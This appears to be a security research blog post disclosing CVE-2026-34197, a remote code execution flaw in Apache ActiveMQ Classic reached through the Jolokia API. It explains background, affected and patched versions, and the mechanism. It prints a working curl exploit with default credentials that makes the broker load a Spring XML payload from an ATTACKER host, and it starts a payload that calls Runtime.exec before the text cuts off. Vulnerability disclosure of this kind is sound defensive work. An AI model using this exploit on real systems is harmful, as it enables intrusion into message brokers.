10 Minutes with Claude: Remote Code Execution in Apache ActiveMQ (CVE-2026-34197) Naveen Sunkavally April 7, 2026 Attack Blogs , Attack Research , Blogs Summary CVE-2026-34197 is a remote code execution vulnerability in Apache ActiveMQ Classic that has been hiding in plain sight for 13 years. An attacker can invoke a management operation through ActiveMQ’s Jolokia API to trick the broker into fetching a remote configuration file and running arbitrary OS commands. The vulnerability requires credentials, but default credentials ( admin:admin ) are common in many environments. On some versions (6.0.0–6.1.1), no credentials are required at all due to another vulnerability, CVE-2024-32114, which inadvertently exposes the Jolokia API without authentication. In those versions, CVE-2026-34197 is effectively an unauthenticated RCE. We recommend organizations running ActiveMQ treat this as a high priority, as ActiveMQ has been a repeated target for real-world attackers, and methods for exploitation and post-exploitation of ActiveMQ are well-known. Both CVE-2016-3088, an authenticated RCE affecting the web console, and CVE-2023-46604, an unauthenticated RCE affecting the broker port, are on CISA’s KEV list. The vulnerability is patched in ActiveMQ versions 6.2.3 and 5.19.4. Background Apache ActiveMQ is an open-source Java message broker, first released in 2004. It’s middleware that’s used for decoupling services and managing message queues across distributed systems. It’s widely deployed across many enterprises, spanning financial services, healthcare, government, and e-commerce environments. ActiveMQ comes in two flavors: ActiveMQ Classic, the original broker, and ActiveMQ Artemis, a newer implementation. This vulnerability affects Classic only. The Classic broker ships with a web-based management console on port 8161, powered by the Jetty web server. This console includes Jolokia, an HTTP-to-JMX bridge that exposes broker management operations as a REST API. In 2023, researchers at ThreatBook reported CVE-2022-41678, showing that an authenticated attacker could invoke JDK MBeans like FlightRecorder through Jolokia to write webshells to disk. The fix for this vulnerability restricted Jolokia to read-only operations by default and denied access to dangerous MBeans, but added a blanket allow for all operations on ActiveMQ’s own MBeans so the web console would keep working. <allow> <mbean> <name>org.apache.activemq:*</name> <attribute>*</attribute> <operation>*</operation> </mbean> </allow> CVE-2026-34197 bypasses that fix by exploiting the ActiveMQ MBeans themselves. The Vulnerability The <operation>*</operation> allow means every operation on every ActiveMQ MBean is callable through Jolokia. It turns out that one of these operations, addNetworkConnector(String) on the broker MBean, has a path to code execution. ActiveMQ supports connecting brokers together in a network for load distribution and high availability. addNetworkConnector sets up these broker-to-broker bridges at runtime. You give it a discovery URI and it creates a network connection. ActiveMQ also supports something called a VM transport ( vm:// ), an in-process transport designed for embedding a broker inside an application. Instead of connecting over TCP, the client and broker communicate through direct method calls within the same JVM. This was originally introduced as an efficiency for unit testing and is intended for lightweight embedded use cases. When a vm:// URI references a broker that doesn’t exist, ActiveMQ creates one on the fly by default, and it accepts a brokerConfig parameter telling it where to load configuration from, including attacker-controlled remote URLs. By calling addNetworkConnector through Jolokia with a crafted URI, an attacker can chain these mechanisms together to force the broker to fetch and execute a remote Spring XML configuration file: curl -s -X POST http://TARGET:8161/api/jolokia/ \ -H "Content-Type: application/json" \ -H "Origin: http://TARGET:8161" \ -u admin:admin \ -d '{ "type": "exec", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "operation": "addNetworkConnector", "arguments": ["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"] }' The vm:// transport sees a non-existent broker name, so it calls BrokerFactory.createBroker() with the attacker-controlled xbean:http://.. . URL. The xbean: scheme tells ActiveMQ to treat it as a Spring XML config, and hands it to Spring’s ResourceXmlApplicationContext . This instantiates all bean definitions, resulting in remote code execution. As an example, the payload XML below uses Spring’s MethodInvokingFactoryBean to call Runtime.getRuntime().exec() to execute arbitrary commands. <bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetObject"> <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetClass" value="java.lang.Runtime"/>...